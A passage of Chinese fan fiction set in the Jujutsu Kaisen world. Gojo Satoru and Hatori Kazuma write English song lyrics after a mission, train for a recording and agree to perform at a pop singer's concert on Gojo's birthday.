五条悟想了想,安慰荒生润子道,“别担心,术师的数量本来就很少,诅咒师的数量更少,不会那么容易又碰到一次的。” “而且,绝大多数术师的术式发动都有一个范围,不可能随便就伤害到你啦。” 听到自己并不会随便就卷入到这种堪称灵异的危险里,津地智也、矢野加奈和荒生润子都小小松了口气。 等他们一行人第二次到达医院的急诊,发现接待的医生是同一人。 医生边给羽取一真紧急处理伤口,边严肃问他需不需要报警。 津地智也赶紧打着哈哈搪塞掉,急中生智的和医生解释这是拍MV时的误伤。 医生拿着电话,面露狐疑:“拍MV?” 拍MV能在一晚上连送过来两个伤员? “是啊,这是我的名片,隶属SS事务所的经纪人。” 津地智也拿出名片自证身份,并拉过身边戴着口罩的荒生润子。 “就是要给这位荒生润子小姐拍新专辑的MV呢。” 荒生润子配合摘下口罩露脸,面带歉然笑意。 “不好意思,看我们粗心的。” 医生或许不认识在年轻世代里短暂爆火过的羽取一真和五条悟,但他至少听过荒生润子的歌。 “这样啊,”放下电话的医生叹口气,“可千万别再这么拼了,这次好险避开了脏器。” “肯定肯定。” 津地智也连连点头,好歹算是平安脱身。 如果让医生报警还得了,到时候后备箱被警察一掀开,非得当场把他们所有人都逮捕不可。 等他们回到SS事务所,那具诅咒师的尸体也可以移交到古井先生的车上了,他会运回高专,并进行后续的处理工作。 津地智也擦了把额头上的汗,感觉自己这一路都开得那叫一个胆战心惊。 “我今晚就赶紧把后备箱洗一遍。” 绝对不能留下任何血迹和奇怪的东西! “哈哈哈,你可以联系古井先生,他知道一些专门协助清洗这些车内‘奇怪痕迹’的洗车点喔。” 五条悟笑眯眯的掏出手机,告诉他联系方式。 津地智也顿时大喜。 “太好了!” ………… 既然事件解决,五条悟和羽取一真便跟津地智也他们告别,坐上了古井先生的车。 他们要继续赶路回到高专。 而直到这时,只有辅助监督、羽取一真和五条悟的车内空间,骤然安静了下来。 换句话说,握着方向盘的古井先生,莫名感觉有一股压迫感在蔓延,仿佛他们正行驶在零下几十度的道路上,急速下降的温度令玻璃都开始结起窗花。 当然,结窗花是假的,压迫感是真的。 羽取一真双手放在大腿上,脊背挺直,目不斜视,脑袋微低。 这端正的认错态度,连椅背都没敢靠。 明明这样坐,伤口会更痛吧? 既然这么担心他生气,一开始就可以想别的办法破解幻觉——比如说真的放任自己被幻觉欺骗,跟他打一架也没关系。 五条悟的苍瞳盯着这个又让自己受重伤的家伙,心底无声叹出口气。 “你在幻觉里,看见了什么?” 他突然开口。 这次他没有听见婴儿哭声,很明显是由于那个木娃娃的存在,对方发动术式的条件变得更隐蔽了,堪称无声无息。 就算这样,一真竟然还能在瞬间就分辨出真假? 话说回来,幻觉无外乎引诱中术者误杀同伴、或是诱使中术者自杀。 就像他的幻觉是把一真当成了正在发动术式的矢野加奈,直到自己的[苍]被中断前,都很难察觉到异常。 那么,一真到底是怎么分辨出来自己中了幻术的?他没有把他当成敌人吗? 在气恼之余,五条悟有点好奇。 但羽取一真却很难回答这个问题。 他当时,在幻觉里看到的,是一周目的……28岁的悟。 是发梢沾着血的、穿着那身被他称赞过葛立恒数的衣服的,悟。 是让他反复读档也无法在回去的悟,就这样面无表情的站在他面前,取代了尚且是高专一年级学生的他。 羽取一真不知道这个术式到底是如何做到能读取他的记忆,或仅是根据游戏机制,单纯随机截取了一周目片段给他播放。 也有可能只是游戏出bug了。 但在那一瞬间,在这个28岁的悟轻轻张口、似乎要对他说什么的那一瞬间,羽取一真毫不迟疑的对自己用出了技能。 ——幻境刹那褪去,他回归了二周目的“现实”。 此刻,羽取一真却不知道该如何回答向他提出疑问的悟。 “就是……长大后的你。” 羽取一真沉默许久,才低声开口回答道。 “长大后的我?” 五条悟疑惑重复一遍,嘀咕出声。 “为什么要造出一个长大后的我,难怪这样你就会对我出手吗?好奇怪……” 羽取一真缓慢眨了下黑瞳——至少从明面上来看,他的表情没有什么变化。 “不知道,”他口吻平静的接话道,“大概是为了麻痹我?” 五条悟:“麻痹……” 这个单词他没能说下去,因为结合一真看见的是[长大后的他]来推测,接下来能联想到的场景总感觉很微妙。 要说有多微妙,大概就是论坛里那个他没有权限浏览的板块那样微妙…… 五条悟想说点什么,但又感觉自己被哽住了,逐渐自耳廓蔓延开的烫意让他没办法再继续对着羽取一真生气下去。 这、原来这小子,一直盼望着他长大呢? 五条悟不禁捂着嘴沉默半晌,苍瞳往羽取一真的方向一瞥,发现他还笔直坐着,完全没有任何放松下来的意思。 脑袋也低低的,那张酷哥脸上看不出什么表情。 但至少,五条悟察觉到了对方的情绪很低落。 于是,他向羽取一真伸出手—— “欸?” 羽取一真略走了下神,便感觉到他的肩膀被五条悟扣住。 紧接着,这道不容置喙的力量压着他往侧边歪倒身体,直到平躺在对方的腿上。 羽取一真呆住。 朝上方望过去的视野内,仅能看见五条悟偏过脑袋的小半个下巴,还有撑在车窗边的手。 “离高专还有一个小时的车程。你真打算一直那样坐着?给我好好睡一觉啊。” 五条悟闷闷出声,目光始终落在车外的风景上——即使他们正沿着高速道路行驶,外边除了黑黝黝的森林和岩壁外,什么也没有。 羽取一真刚眨了下黑瞳,便有一只手掌盖在他眼睛上方,使视野被隔绝成了一片黑暗。 “好了快睡,别说话。” 五条悟的语气利落,压根不准备给羽取一真抗议的机会。 “……” 羽取一真只好配合的闭上眼,睫毛轻扫过那稳定传递过来体温的掌心。 他突然觉得十分安心。 在这静谧的、微微摇晃的狭小空间里。 ………… 一回到高专,五条悟就拉着羽取一真去拍家入硝子的宿舍门,把她喊起来给羽取一真治疗伤口。 家入硝子睡眼惺忪的,看在五条悟答应之后请她吃下午茶的份上,赶紧用反转术式给羽取一真治疗完,然后把黏糊糊的这两人赶回自己的宿舍里去,好让她继续睡觉。 五条悟还认真警告羽取一真要是再做这种事,他就……就……就了半天也没就出个所以然,先被羽取一真自己举手保证绝对不会了。 毕竟上次割伤手指时,五条悟还能舔舔伤口,欣赏羽取一真手足无措。 但这次伤的是腹部……再想起对方幻觉里是长大后的他,五条悟只能一边捂着脸,一边摆手回自己宿舍了。 真是又气又拿这家伙没办法…! 而在这次任务完成没几天,羽取一真接到了荒生润子的电话。 “联系方式是我找智也先生要来的,但悟的电话打不通,只能先询问你的意见了。”对方笑着开口。 羽取一真点头:“悟去出单人任务了。” 荒生润子先是关心问了下他的伤没有问题,便直接说明来意。 “原本只是开个玩笑,但这次是你和悟救了我们的性命。”她说,“就算是为了报答救命之恩,我也必须要这么做。” “我下个月要发售的新专辑,加奈已经作完了最后一首歌的曲,希望你们可以参与填词,并演唱。” 第116章 “我不怎么会唱歌。”羽取一真回道。 填词或许还能靠现学现卖, 但唱歌,他感觉自己的水平实在没办法出现在当红歌手的专辑里。 “这样吗?”荒生润子轻笑出声,“你现唱两句我听一下?” 羽取一真拗不过, 只好唱了两句他最熟悉的歌词。 还是上次和五条悟他们去唱卡拉OK时现学的。 “嗓音条件还可以, 紧急特训一下就勉勉强强能用啦,让悟在这段时间里帮帮忙。” 荒生润子笑道,甚至还鼓励了羽取一真几句。 “我听智也先生说过了,你们不可能走艺能界的道路。我想也是,毕竟如果去当演员或者偶像的话,艺能界……嗯, 很多事情并不如表面上那样光鲜。” “所以呀,我这次也只是邀请你们作为特邀嘉宾出现在我的专辑里喔, 仅此一次。” “重点在于, 只要这首歌能火, 身为词作者的你们, 可就有了后半辈子躺着也能赚钱的经济收入啦。” 这是荒生润子思来想去,自己能拿得出来的最高报答。 能将一对新人组合直接塞进自己的新专辑里, 利用自己积攒多年的人气来帮忙传播这首歌,却并不作为歌曲的创作者与参与者而收取报酬,对他们也没有任何条件。 这就是明明白白的想捧羽取一真和五条悟的新歌,且堵上了自己全部的声誉。 一旦羽取一真和五条悟唱得不好, 她也会连带挨骂, 事业下跌。 但倘若这首歌爆火,身为词作者的羽取一真和五条悟享有这首歌的著作权, 是能够源源不断从中获益的。 纵然以后他们不想继续在那个危险的世界里待着,想要转型走歌手的道路,这首歌也已经为他们搭建出了一个足够稳固的地基。 这是荒生润子深思熟虑了好几天, 又听完矢野加奈发来的初版作曲后,下定的决心。 搭上名声没关系,至少这次的销量能够给他们足够可观的分成。 不会作词也没关系,他们只要写出大概的初版,她可以在后期帮忙润色。 “就是这样啦,救命之恩,我在能做到这些的前提下,可不能一句感谢就结束了吧?” 荒生润子只字不提自己这边的风险,仅是轻松笑着对羽取一真这么说道。 羽取一真想了想,没有直接给她回复,而是等五条悟从[帐]里出来,手机恢复信号后,先认真向他征询了意见,才再度给予荒生润子肯定的回答。 没有被拒绝,荒生润子也稍微放下心来。 “我会拜托智也先生送试听带过去的,你们要加油,这几天填完词给我哦。” 挂断电话前,她还笑吟吟的叮嘱羽取一真。 “记得好好练一下喔,请教你的搭档。” 羽取一真:“……嗯。” 也算是在游戏里体验过歌手的工作流程了…… 等津地智也帮忙开车送来试听带后,五条悟不知道从哪找到一部录音机,带教室里给大家播放。 现在是放学时间,没有任务的夏油杰和家入硝子也留了下来。 他们同样很好奇该怎么填词。 或许大家在术式上都各有各的天赋,但给曲填词这种事,别说羽取一真跟五条悟,剩下教室里的所有人加起来,也没人干过。 等磁带沙沙转动,将这段四分多钟的旋律从头播到尾,彻底停止之后。 摆在五条悟和羽取一真面前的曲谱纸,该上填词的那行还是空白一片。 “这要怎么填……” 家入硝子撑着脑袋,连半点意见都给不出来。 “我甚至都没听出来哪里是需要开始唱歌的时间。” 羽取一真握着笔,一个字都没憋出来。 “……我也没有。” 这真是太难为他了。 他只能勉强看懂五线谱而已,还是托了现实世界里音乐课的福。 曲子真的很好听,尤其是中间那段在鼓点、吉他与钢琴交叠间逐渐升阶、迅速变得激昂的旋律真的很抓耳朵,也很合他的听歌口味。 可,这也不等于他能无师自通的学会填一段合适的词进去。 “我看网上介绍说,可以先找几个韵脚,接着用它组成一些能够表达中心意思的词组,最后挑出合适的词组,把它扩充成几句话。” 夏油杰翻着手机上的资料,给出理论参考。 “这种会不会有点公式化了?” 五条悟把磁带翻了个面,塞进录音机里,继续从头开始播放。 A面和B面都是同一首试听曲。 他也没干过填词这类事情,但至少得先把旋律听熟。 “要不,咨询一下那位荒生小姐?”家入硝子举手提议。 “她说只要听着旋律,填出自己内心觉得最符合的歌词就好了……顶多说了句用其它语言也可以,最近英文歌比较吃香。” 五条悟吐舌,露出一点点超无奈的表情。 “超唯心主义。” 这个动作有点可爱,羽取一真假装在盯曲谱,实则偷偷看了好几眼。 五条悟也察觉到他在看,但假装没发现。 “那没办法了啊。” 家入硝子摇头,“我去吃晚饭了哦,你们谁要一起来?” “嗯,我也去。” 夏油杰同样起身,将这片空间留给羽取一真和五条悟两个人。 临走前,还能听见家入硝子在和他聊天。 “听说你前几天得到了超强力的咒灵哦?还在夜蛾老师那里登记呢。” “啊哈哈…差不多吧,是硬度相当高的大型龙咒灵,我给它命名为[虹龙]。要是没有能强制用出简易领域的[裂口女],还不太好降服它呢。” “呜哦,那岂不是还能骑着飞?” “嗯…非要坐的话也不是不行……” “真不错啊,想坐坐看…” ——交谈的声音逐渐远去,这间偌大的教室仅剩羽取一真和五条悟。 夕阳自大开的窗户斜斜照映进来,将手中笔的倒影拉长成了线,好似一柄锋利的刃刺穿了他的心脏,也切割着纸上的音符。 磁带仍在转动,羽取一真认真听着,感觉它仿佛在徘徊的、在寻找,并在最终交汇,化作婉转收尾前的那段酣畅淋漓的倾诉与发泄。 “只按照听到旋律时,最本能的想法来写下单词吗……” 五条悟在轻声嘀咕。 旋律声又停止了,这间教室再度恢复成呼吸可闻的寂静,无数抓不住的词语在他的脑海里盘旋,更多的感情沉在深而暗的海面之下,宛若不断追寻着天空,又不断碎裂的气泡。 他握着笔,心绪忽而变得平静。 接着,五条悟在那张纸上,按照旋律的停顿,写出了第一句歌词。 【I walk alone…in this world】 (我独自走在这世上) 甚至连他自己,也不明白为什么会写出这么一句。 明明有喜欢他的羽取一真,有和他关系很好的夏油杰和家入硝子,有对他也很好的夜蛾老师…… 但在此刻,好似有纷乱的思绪在推着他前进,像某种印刻在生命里的本能。 于是,那笔尖缓慢移动,在曲谱下写出了更多。 【Something feels absurd】 (有哪里出了错) 【Like a part of me is gone】 (我似乎失去了自己的某一部分) 【And Im lost, cant move on】 (也迷失了方向) 五条悟的笔一顿,逐渐用力,却写不下去了。 这不像是他会写出来的句子。 这才不是他的性格。 五条悟鼓起脸,转过脑袋,让自己的目光落在羽取一真的侧脸。 他皱起眉毛,指腹在笔杆上不自觉的缓慢摩挲着,看上去仍旧很苦恼该怎么往纸上填歌词。 那掀起在五条悟内心深处的、冰凉而喧嚣的怒潮,忽而平缓了下来。 他甚至有点想要笑。 于是,五条悟真的微笑起来,用笔的末端轻捅了自家的黑豆柴一下,示意他看过来。 而那张写了几句词的纸,也放在了羽取一真的眼前。 “来试试看接着往下写?” 五条悟小臂交叠垫在下巴上,笑着看向羽取一真。 “我连第一句都还没想出来……” 羽取一真的目光落在那张纸上,愣住了。 这几句话,比起歌词,更像是某个人的心声。 是某种在对他倾诉的……无声的、莫大的悲伤。 羽取一真突兀想起了之前在幻觉里看见的,发梢沾上血迹的悟。 如果一周目的档没有损坏,而玩家的死亡是真正的死亡…… 悟会很伤心吗,还是会很快就接受这个现实? 当时的羽取一真没敢往下细想,但此刻,他握着笔尖的手却有点轻轻发颤。 他甚至觉得……这几句话,就像是幻觉里的悟当时想对他说出口的话语。 如果是他的话,会如何回答呢。 羽取一真抿起嘴,黑瞳缓慢眨动,好让那心头蓦然泛起的酸涩感,不至于真的让他落下泪来。 【Sometimes, I look to the sky】 (有时,我也会看着天空) 【Seeking you in the sky so wide】 (在那深处寻找你的身影) 【Ill find you in the clouds above】 (我会在云彩里找到你) 【And piece together that shattered golden core】 (我会拼起那颗支离破碎的、黄金般的心) 【Ive pieced together that shattered golden core】 (我拼起了那颗支离破碎的、黄金般的心) ……… 这就是他的回答。 这就是他对幻觉里的悟,对眼前的悟,对一切已知的、未知的,对那尚未发生的未来,所作出的答案。 如此一来,第一段的主歌部分以及副歌兼高潮部分的基调就完成了。 他们可以再往里面填充几句,然后在歌词的第二段和第三段里,再按前面的句式稍微改动下第一段里的主歌部分,或是将副歌的前两句也跟着改动下,就完成了。 至于命名……五条悟毫不迟疑地写下了《FIND》。 五条悟不太喜欢他自己写出来的主歌部分,但格外中意羽取一真的副歌部分。 他高高兴兴跟着旋律哼唱了几句,将这张终于填满歌词的曲谱纸交给了荒生润子。 收到歌词的荒生润子还特意打电话过来,连声夸他们真的很有天赋,甚至会给这首歌额外出一张单曲。 而在后续发售的专辑以及单曲里,这首歌的作词者,都会写上羽取一真和五条悟的名字,并享有这首歌的著作权。 等之后,他们只需要挑一天没有课的周末,去荒生润子的录音棚里唱完这首歌,就全部搞定了。 顶多再录几个MV镜头,荒生润子说他们直接坐在那里唱也行,MV不一定非要配上花里胡哨的场景和舞蹈。 还有的歌手,直接录制他一个人在天台乱七八糟的扭完一支舞,那也算是MV呢。 荒生润子甚至打赌他自己都没办法再跳出一模一样的第二遍。 而为了达成[完美录制这首歌]的目标,五条悟开始在晚上对唱歌水平普通的羽取一真进行特训。 羽取一真觉得他在旁边弹个吉他就可以了,可漂亮小悟坚决不答应。 这么完美的合作歌曲,而且大概率只会有这一首,怎么能让他一个人全部唱完呢! 就算是二人合唱,也得把羽取一真捎带上! 每天还得在游戏里苦练唱歌的羽取一真:……… 这游戏,都快变成了唱歌模拟器。 ——外带烹饪模拟器。 距离五条悟的生日——12月7日就剩下一个月,他得尽快去川村大师那里学习做出美味的蒙布朗。 而这,还得刨除他平时出任务、巡逻、上课以及和悟出门钓鱼的时间。 川村大师的店铺也开张了,果然是一周目的那个地址,装修也和他记忆里的一模一样。 包括门口的招牌,[如你所愿]。 为了抽出时间教羽取一真做蒙布朗,天天都在店里忙着做甜点的川村大师手一挥,干脆定下了一条规矩——[神之甜品]限量且限他心情,不高兴就不做了。 对此,羽取一真反而有点怔住。 不对吧,一周目的规矩是这么来的? 还是说游戏在自动补全设定,让它朝一周目的发展靠拢? 无论答案如何,至少当前的羽取一真终于能再次尝试做上周目的巧克力蒙布朗。 这个他擅自改出来的配方乱七八糟的,压根不在游戏的烹饪菜单内,成品如何,全靠他自己的手艺。 川村大师特意购置了多份原材料,做好会出现大量损耗的心理准备。 羽取一真也确实很久没做了,连着失败两次,才终于烤出一个没有糊味的。 川村大师尝了一口,做出犀利的评价。 “好淡,奶油没有打发彻底,而且巧克力的味道和栗子泥融合得并不好,在口感的层次上显得格外突兀。” 羽取一真:“……麻烦您了。” 他也尝了下这个巧克力蒙布朗的口味,倒是和一周目的一模一样…… 真的假的,悟当时竟然这么给他捧场? 话又说回来,他是被五条悟带着开始吃甜食的,在这方面几乎没有讲究,自然也吃不出来如此细微的差别。 “真的假的,你那朋友当时大力称赞你的蒙布朗?” 听完羽取一真回忆的川村大师也有点震惊。 能想出[神之甜品]配方的人,竟然对这块巧克力蒙布朗也有如此高的评价…… 川村大师又让羽取一真做了两次,确定这个巧克力蒙布朗就是这小子平时的水准后,就先让他回去了。 他会想办法帮羽取一真再改进些配方,做出一份从他这个内行人的角度来说,至少得在口感达到及格线以上的蒙布朗。 “你朋友的生日是12月7号对吧,我记得,你到时候提前两天过来。” 已经开始随心所欲上班的川村大师摆摆手,抓耳挠腮的去闭关琢磨了。 一副看起来真是超为难他的模样。 羽取一真:“………” 实在不行,也只好硬着头皮做给漂亮小悟吃了——反正他是外行,就算被嫌弃也是情有可原。 ……… 至于羽取一真的晋升考核评定,他在又搭档五条悟或夏油杰,完美解决了几次一级任务并拿到良好的考核评语后,顺利晋升为了准一级术师。 只需要再独自完成几次一级任务后,他就能成为一级咒术师了。 这个月对他来说简直格外忙碌,连酒见绫子又打电话过来给他,也没有什么时间呛对方几句。 “你之前给我的名单,教祖大人已经办妥了。” 酒见绫子说出这句话后,细细一品,突然感觉有点微妙。 ……怎么成了她向羽取一真汇报工作? “嗯。” 羽取一真站在操场一角,淡淡应了声。 就差再接一句“做得很好”。 酒见绫子心底的这股微妙感变得更强烈了。 “……你不应该感谢一下教祖大人吗?” “辛苦了,多谢。” 五条悟还在那里等着他回去练歌,羽取一真懒得和酒见绫子掰扯,从善如流回道。 就是口吻平稳到几乎没有任何波动,不仅没让酒见绫子心底的那股微妙感消失,反而更加强烈了,给她堵得慌。 而在通话的另一端,还隐约听到了歌曲的旋律。 “……你在做什么?” 不想再继续刚才那个话题的酒见绫子立刻开口问道。 “为出专辑做准备。” 这个不算什么秘密,反正她最后肯定会知道的。 羽取一真淡淡回道,并冲朝他招手的五条悟示意自己很快就过来。 “不聊了,我还要继续练歌,有什么事等我空闲了再说。” 嘟—— 这回是羽取一真提前挂断了电话,留下酒见绫子欲言又止,只能对着手机亮起的屏幕发呆。 出专辑?这家伙是去那个所谓的[东京咒术高专]做卧底对吧? 怎么突然就要出专辑了?? 等下,教祖大人交代的任务都忘记和他说了! 想起这回事的酒见绫子重新打回去,发现对方干脆利落的关了机。 “………” 另外一边,五条悟也好奇问接完电话回来的羽取一真。 “谁打来的?” 羽取一真按照假身丨份丨证明上的信息回答道。 “那个收养我的远方阿姨。” 他也考虑过要不要如实将自己的身份告诉五条悟,但这没什么意义。 因为他只知道自己这周目的身份是【盘星教圣子】,对方要是问起他的过往,照样是一片空白。 至于那个[阻止天元同化]的任务,羽取一真也佯装好奇的问过五条悟天元是谁,得到的答案相当模糊。 “听说是个不会死的超厉害结界师,就在高专底下一直住着哦。但更详细的事情似乎是秘密,我也不怎么清楚。” 五条悟摸了摸下巴,犹豫道,“杰应该知道得更多些吧,高专的结界归天元大人管,而他之前刚进学校的时候,因为咒灵的咒力反应和他本人的不太一样,会导致结界疯狂报警。” “所以啦,他就被带着去登记过常用咒灵的咒力,可能顺带问了点关于天元大人的事情。” 羽取一真点头。 “这样啊。” 夏油杰对他的信任度相当高,去问一下也没什么;但对方目前去了北海道出差,得等他回来才行。 之后几天,五条悟继续抓着唱歌水平普通的羽取一真进行魔鬼特训,总算赶在歌曲的发售前完成了录音和MV录制。 “很好哦,效果特别好!” 荒生润子和矢野加奈待在录音棚外,和工作人员一齐给他们鼓掌。 虽然五条悟很喜欢羽取一真写的副歌与高潮段落,但他还是只唱了既迷茫,又坚定前行的主歌部分。 为此,他特意训练了羽取一真该怎么唱上高音——尤其是最后那两句,更是接近于在痛苦中、在狂风骤雨中声嘶力竭的呐喊。 “一定会大卖的!” 荒生润子很高兴,对艰难擦了把汗的羽取一真,以及格外轻松的五条悟开口道。 “其实,在发售完专辑的下个月,我就要开演唱会了。” 五条悟和羽取一真点头——他们之前听荒生润子介绍过,这也是歌手一种保持人气的宣传手段。 不仅有利于专辑的售卖,还可以连带冲ORICON的销售榜。 如果能蝉联榜首,更是一种荣耀。 “虽然不知道专辑发售的结果如何……但最后那首歌,你们要不要作为特邀嘉宾出场来演唱呢?” 荒生润子冲他们眨了眨眼眸,话语含笑——就像是知道那天对他们而言,有多特殊一般。 “就在12月7号喔。” 第117章 看着荒生润子笑吟吟的表情, 再一联想她念这个生日时的语气…… 五条悟恍然:“啊,你也知道那天是我的生日了!” “是啦,你在杂志采访里都说了嘛。” 荒生润子笑道, “我一翻演唱会的计划排程表, 正好往后挪一天,放在12月7号也不错。要来吗?” 羽取一真:“……到时候,会有多少观众?” 荒生润子点了点嘴唇,思考:“嗯……去琦玉的Super Arena开哦,预计会有2、3万人吧?我也不确定啦,暂时会以这个人数上限来开票预售。” 在五条悟“哇哦”的惊叹里, 羽取一真深吸一口气,根本说不出话。 无论是在KTV里唱歌, 还是在录音棚里唱歌, 最多不会超过十个人围观, 再紧张也紧张不到哪里去。 而三万人看??……三万人看着他唱歌??? 羽取一真光是想象下那副场面, 此刻都能紧张得掌心冒汗。 有种血液都不知道该往体内哪根血管流的手足无措感。 “哈哈哈哈别紧张,其实呢, 等你站上去就知道了,到时候台上的照明太亮,你基本很难看清下面坐着的人喔。” 荒生润子察觉到了羽取一真的僵硬,笑着冲他摇摇食指。 “而且啦, 你只用上去唱一首歌就好了, 只用几分钟——” “就当体验一下,成为那几分钟的、万众瞩目的大明星。” 这种安排是一种对粉丝而言的小小惊喜, 但同时也是对这两位没有上过演唱会的新人的莫大考验。 通常,新人歌手的演唱会都是由几百位观众、逐渐过渡到几万人规模。 结果这两位一上来就要面对至少两万人开口唱歌……对心理素质的要求实在太高。 如果羽取一真或者五条悟拒绝登场,荒生润子也不会强求。 毕竟, 这种由前辈帮忙提携的人气暴涨法虽然好用,但也得考虑实际情况。 反正作词者的名字已经填上了,无论专辑和单曲卖得如何,总会有一部分利润是他们的。 荒生润子耐心等着他们的回答。 五条悟则捏着下巴沉吟片刻,转过头问羽取一真。 “我都可以。你想去吗?” 他是无所谓的,这种场面对他而言只是小意思。 或许会因为初次登场而紧张一会,但只要一想到他不过是负责中途出来唱首歌、热闹下气氛,就没什么心理压力了。 不过啦,大概了解过演唱会情况的五条悟也清楚,如果不是特意录制节目,开演唱会的歌手是极少会邀请其它乐队或歌手来演出的。 他们将开演唱会当成必须要做的工作内容之一,始终认真且敬业的唱完整场——全开麦更是对专业能力的基本要求。 荒生润子的这番心意,已经很明显了。 被他保护的普通人反过来如此关照着,五条悟的心底有点暖,连带唇角的笑意又上扬许多。 真是的,难道不担心他们的歌不受欢迎吗? 虽说他肯定是不担心啦——但一真看起来真是超紧张!包括之前练歌也是,一开始还不好意思提高声音呢。 嗯……大概率会拒绝吧? 五条悟没等片刻,却听到羽取一真开口。 “去。” ——迎上五条悟略诧异的视线,羽取一真坚定点了点头。 他本来是对这件事有点怂的,但架不住……有委托奖励。 【当前触发隐藏委托: 荒生润子的邀约:完成一次规模在两万人以上的演唱会表演,或许您也将成为半个专业歌手? 奖励:获得咒具[八相轮卡]。】 光听这名字,似乎是卡类的道具。 但这可是他无意中触发的隐藏委托,得到的道具肯定也是超强的吧? 不就是对着几万人唱歌,怕什么,玩家为了橙武无所畏惧! 一想到自己马上就可以获得隐藏武器,羽取一真内心火热,又对着五条悟和荒生润子重复了一遍。 “我去。” 表情无比坚毅,把五条悟都看愣了片刻。 他很难不联想到羽取一真是不是为了他,才会如此决绝的答应下来——哪怕一真明知自己并不擅长唱歌。 为了他……竟然连这么艰巨的挑战都要克服吗? 那双漂亮的苍瞳,此刻好似泛起涟漪的湖面,要太阳往上面洒落无数灿烂的粼粼碎光。 “一真,你……” ——但接着,五条悟抬手搭在羽取一真肩头上,整个人都侧了过来,贴着对方耳畔,轻轻开口。 “不要妄想去演唱会唱歌了,就能逃掉我们那晚的约定喔。” 超绝警惕小悟,绝不会给羽取一真任何能够蒙混过关的机会! 羽取一真的表情顿时一僵。 那天晚上的经历,那段暧昧的、模糊的,交融着滚烫热息的记忆,又逐渐变得清晰无比。 “…………” 看在羽取一真憋了半晌、小声回答一句没忘的份上,五条悟这才心满意足的放过对方,和荒生润子道别。 荒生润子还提醒他们记得注意下周的专辑发售日。 “到时,智也先生会给你们送两张样片过来喔。” 吸取上次送杂志样刊的教训,津地智也特意叮嘱过荒生润子,东西记得给双份的。 “好——演唱会就要麻烦润子姐姐啦!” 五条悟卖起萌来,声音又软又轻,比阳光、蜂蜜和奶油加起来还要让人觉得甜,忍不住也跟着露出笑意。 “放心吧,大明星们。” 她也朝五条悟和羽取一真招了招手。 “你们会成为一个奇迹。” ——这句话,荒生润子没有说错。 因为在专辑和单曲的发售日当天,五条悟就看见他常偷偷摸摸刷的论坛爆炸了。 真的炸了,服务器炸了。 刚开始还能看见一些【润子的专辑里有真悟】、【啊啊啊啊还出了单曲】、【这是什么极品美味】、【歌词、注意看歌词是他们自己写的!!!】之类的帖子,刷新速度快得晃眼,像骤然开闸倾泻下来的瀑布。 五条悟对着手机发出窃笑,眉眼间满满都是小得意——就说大家会很喜欢他们的歌嘛! 因为偷刷手机的反应太明显,还被夜蛾正道旁敲侧击的警告了某人上课不准做小动作。 正走神的五条悟完全没听见。 但很快,五条悟想继续做小动作也没办法了。 他还想点进去看更多的夸夸,结果等下一次再刷新后,论坛的界面整个崩溃报错,仅剩用像素点画出来的一个哭脸。 五条悟:“…………” 可恶啦! 然后,没开[无下限]的他就被粉笔头精准砸中了脑袋,发出“欸呀”一声。 夏油杰在旁边默默捂脸。 唉,他都小声提醒好几次了,这家伙也不知道在对着手机看什么,根本一点反应都没有。 至于没来得及提醒的羽取一真,他同样在走神,只是往常就习惯性摆着张冷脸的他就算在发呆,也很少有人能看出来。 “我倒要看看你小子在傻乐什么……” 夜蛾正道直接过来拿起五条悟那部仍旧亮着屏幕的手机——然后陷入无言的沉默。 “……404报错?你对着这网页都能笑这么开心?” 五条悟:“……” 五条悟幽幽出声:“这可是我跟一真受、欢、迎的证明。” 听到这句话的羽取一真在旁边发出小声被哽住的气音。 “……就算再受欢迎,也得注意听我讲话。” 不知道是不是五条悟的语气问题,夜蛾正道莫名感觉这句形容词背后指代的含义,透着点微妙的奇怪。 家入硝子在旁边感叹出淡淡一声:“哇哦。” 夜蛾正道:“………” 那种奇怪的情绪愈发微妙了,有一种这帮学生都知道但就是瞒着他一个人的不详预感。 “……总而言之,去唱歌没什么问题。” 夜蛾正道把手机还给五条悟,还不知道他们可不是简单的唱歌,而是即将要去万人演唱会上唱歌。 “但千万注意,不要向与无关的普通人暴露咒术界的存在,目的是……” “避免引起普通人的恐慌,对看不见的存在感到畏惧,反而更加容易释放负面情绪,连带使咒灵变得活跃且棘手。” 收起手机的五条悟一口气说完夜蛾正道准备念叨的内容,拖长了尾音嘀咕。 “好啦好啦,我都听了一年了,早就已经会背啦——” 夜蛾正道:“……” 这臭小子! 等依照惯例给这几个学生安排完任务,夜蛾正道便离开了教室。 “卖了超多?” 家入硝子好奇凑过来。 她也已经听过了《FIND》这首歌,坦白承认相当不错——再加印在单曲封面上的五条悟和羽取一真,能大卖是顺理成章的事情。 “还不清楚,等下周三才会在ORICON榜上公布预计销售数和排名呢。” 即使又拿到了需要出差的任务,五条悟的心情依旧很好,表情都是笑眯眯的。 论坛炸了也不影响线下专辑的购买啦,五条悟还是很开心自己和一真没有拖荒生润子后腿的。 “话说回来,我看演唱会的门票得靠运气抽。” 头一次查看演唱会门票购买规则的夏油杰,发现它竟然不是有钱或者有手速就能抢到的,而是所有座位定价一致,观众先申请抽票,等通知抽中后再付钱。 甚至连后续的座位安排都是全随机,能坐前排还是后排依旧全凭运气。 “你们等找荒生小姐要两张前排位置的票吗?我和硝子也想去看……啊,会付钱的。” 五条悟闻言抬了抬眉梢,笑意揶揄。 “怎么啦,你们也想给我过生日吗?” 被戳中想法,家入硝子无所谓一歪脑袋。 “你们前几天不也给我过生日了吗?连歌姬前辈他们也偷偷跑来给我送惊喜。” 作为高专里唯一的治疗,家入硝子接触过的人比夏油杰、五条悟和羽取一真加起来都多,和高年级的前辈们也玩得很熟。 就是当时二年级去参加过交流会的前辈们看见羽取一真也在,那脚步不由自主停顿了下,仿佛是被这位正骨魔王的威压给惊吓到那般整齐划一。 但总体来说,大家玩得很开心。 除去庵歌姬坚持不懈的要求五条悟对她用敬语且尊敬前辈,而五条悟的反应是用着懒洋洋的、甚至带着点活泼的语气超可爱回了一句。 “欸—有什么关系嘛——” 听说庵歌姬后来气到差点咬裂了筷子。 但羽取一真觉得敬语不敬语的,完全无所谓。 悟又没有说脏话,对他人的态度也很正常,有没有敬语也没关系吧。 从某种层面上而言,荒生润子、津地智也和矢野加奈也是他和悟在艺能界的前辈。 但无论是以上的哪位,都没有对悟不说敬语这件事有任何不满与疑问。 按照津地智也的话来说,这种约定俗成的规矩确实会有很多人主动遵守,也会有人不满五条悟竟然不对前辈说敬语的情况。 换个角度思考,这也算是一种反向的交友筛选吧——津地智也笑道。 只需要用一招不爱说敬语,就能立刻筛选出能不能和悟合得来的人,这办法可是方便又快捷哦。 